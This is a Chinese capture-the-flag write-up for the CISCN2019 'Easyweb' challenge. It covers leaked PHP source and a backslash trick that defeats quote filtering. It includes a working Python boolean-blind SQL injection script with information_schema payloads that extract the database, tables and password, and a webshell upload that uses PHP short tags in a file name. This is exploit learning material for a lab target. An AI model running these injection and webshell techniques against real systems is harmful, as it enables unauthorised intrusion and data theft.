刷題[CISCN2019 總決賽 Day2 Web1]Easyweb
解題思路
開啟網頁是這樣一個登陸框,隨機試了一下常見弱金鑰,二次注入等。均是返回不同的貓咪圖案
不同的id對應不同的貓咪圖案。經測試,返回的id應該是無序,隨機的。感覺這裡有可能存在注入點,但是測試好像沒有報錯的情況,先記著。
原始碼沒東西,robots.txt呢,發現了東西。
應該是存在原始碼洩露了,但是要找出是哪個php檔案。index.php.bak不對,user.php.bak不對。這裡暫時沒思路了。掃下目錄,看看有沒有後臺
掃描,嚇了一跳,發現怎麼有這麼多東西,這是我第一次見到掃出來這麼多的了。但是好像所有的檔案都會返回相同的登陸框頁面,猜測這裡有重定向
想了一會兒,想到貓咪的頁面image.php
image.php.bak終於找到了,存在原始碼洩露
程式碼審計
<?php include "config.php"; $id=isset($_GET["id"])?$_GET["id"]:"1"; $path=isset($_GET["path"])?$_GET["path"]:""; $id=addslashes($id); $path=addslashes($path); $id=str_replace(array("\\0","%00","\\'","'"),"",$id); $path=str_replace(array("\\0","%00","\\'","'"),"",$path); $result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'"); $row=mysqli_fetch_array($result,MYSQLI_ASSOC); $path="./" . $row["path"]; header("Content-Type: image/jpeg"); readfile($path);
這一看不是老布林盲注了嗎,最近刷了好多這種題啊。id為0正好報錯,id為1顯示正確
主要考慮:
怎麼繞過對單引號的過濾,閉合id的單引號,把危險程式碼放在path變數中
不能用單引號閉合單引號,那麼我們考慮能不能用\轉義單引號呢。
這裡過濾不算特別嚴格,並且使用的是str_replace這種有缺陷的函式。
我們反推:
- 最後要是\,那麼經過str_replace函式處理之前可以是\\0(函式中的\\0,第一個斜槓轉義\,表示成真實的\)
- \\0在經過addslashes函式處理之前可以是\0。
那麼就出來了,我們在id處傳入\0,即可在經過一系列處理後變成\,轉義單引號。
語句即變成:
select * from images where id='\' or path='{$path}'
編寫exp
import requests
url = "http://0fc26848-c4ee-46f6-b15d-ad97821f76e2.node3.buuoj.cn/image.php?id=\\0&path="
result = ""
for i in range(1,30):
low = 32
high =128
mid = (high+low)//2
while(low<high):
payload = "or id=if(ascii(substr((database()),{0},1))>{1},1,0)%23".format(i,mid)
html = requests.get(url+payload)
print(low,high,mid,":")
print(url+payload)
if "JFIF" in html.text:
low = mid+1
else:
high = mid
mid = (high+low)//2
if(low ==32 or high==128):
break
result = result + chr(mid)
print(result)
print("flag: " ,result)
爆出來當前資料庫,ciscnfinal
爆表
or id=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=0x636973636e66696e616c ),{0},1))>{1},1,0)%23
因為單引號被過濾,直接可以用16進位制繞過。爆出表:images,users
知道了password應該在users表中,爆列名。
爆出password:e18be75a8a54cf38a377。成功登陸
getshell
傳入一些檔案後發現,它是把傳入的檔案寫入
/logs/upload.4ee0861649284ba13ea8e84271cc35a7.log.php
寫入的檔案是php檔案,也就是說我們要把一句話作為檔名。
這裡發現打不進去。在網上看到有一種叫短標籤的方式
在php的配置檔案(php.ini)中有一個short_open_tag的值,開啟以後可以使用PHP的短標籤:
(<? ?>)
。
這是一個小tips學到了
然後蟻劍連本檔案,flag在根目錄下
總結思路
- 原始碼洩露
- 程式碼審計,布林盲注,爆出密碼
- 短標籤繞過對檔名php的過濾
知識點
- 程式碼審計
- sql注入(布林盲注)
- php特性